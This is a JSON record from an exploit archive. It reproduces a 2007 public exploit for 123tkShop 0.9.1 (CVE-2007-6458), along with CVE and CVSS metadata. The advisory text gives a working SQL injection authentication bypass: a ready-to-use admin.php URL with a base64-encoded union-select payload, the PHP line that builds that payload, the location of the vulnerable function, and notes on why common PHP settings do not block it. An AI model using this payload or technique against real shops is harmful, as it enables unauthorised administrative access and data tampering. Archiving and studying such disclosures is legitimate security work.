{"exploit":{"id":"EDB-4733","name":"123tkShop 0.9.1 - Remote Authentication Bypass","description":"123tkShop 0.9.1 - Remote Authentication Bypass","cves":["CVE-2007-6458"],"author":"Michael Brooks","published":"2007-12-14","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/4733","path":"exploits/php/webapps/4733.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-4733.txt","vulnerabilities":[{"id":"CVE-2007-6458","state":"PUBLISHED","title":null,"titleSource":null,"description":"SQL injection vulnerability in shop/mainfile.php in 123tkShop 0.9.1 allows remote attackers to execute arbitrary SQL commands via a base64-encoded value of the admin parameter to shop/admin.php.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-6458","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-6458"},"updatedAt":"2024-08-07T16:11:05.234Z","retrievedAt":"2026-11-27T03:09:23.433Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-4733.png?v=2","url":"https://exploitbin.com/exploits/EDB-4733","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-4733/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-4733/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"By Michael Brooks\nVulnerability:Sql Injection\nSoftware:123tkShop\nHomepage:http://sourceforge.net/projects/my123tkshop/\nAffects Version 0.9.1.\n\nAn attacker can gain Administrative rights with this authentication bypass exploit:\nhttp://127.0.0.1/123tkShop/shop/admin.php?admin=J3VuaW9uIHNlbGVjdCAncGFzc3dvcmQnLyogOnBhc3N3b3Jk\nThe payload for the attack is constructed like this:\nprint base64_encode(\"'union select 'password'/* :password\");\n\nVulneralbe code is in the ./123tkShop/shop/mainfile.php file in the is_admin function starting on line 156\n\nThe attack will work magic_quotes_gpc=On or off because of base64_decode()\nThe attack will also work with register_globals=Off or On because of mainfile.php line 42:\nif (!ini_get(\"register_globals\")) {\n    import_request_variables('GPC');\n}\nRegistering globals is dangerous.\n\nMy advice is to use another shopping cart such as OsCommerce.\n\nAn interesting side note is that this url http://127.0.0.1/123tkShop/shop/admin.php?admin=%22 will produce a message:\n\"I don't like you...\"\nInteresting sentence,  unfortunately for 123tkShop sentences do not defend against sql injection.\n\nMerry Christmas.\n\n# milw0rm.com [2007-12-14]","sha256":"947f895db104df51a73992529c4d0076a83c275c0f74223a56021963d8a12439","bytes":1169,"fetchedAt":"2026-11-27T03:09:18.620Z","encoding":"utf-8 (display only; download retains original bytes)"}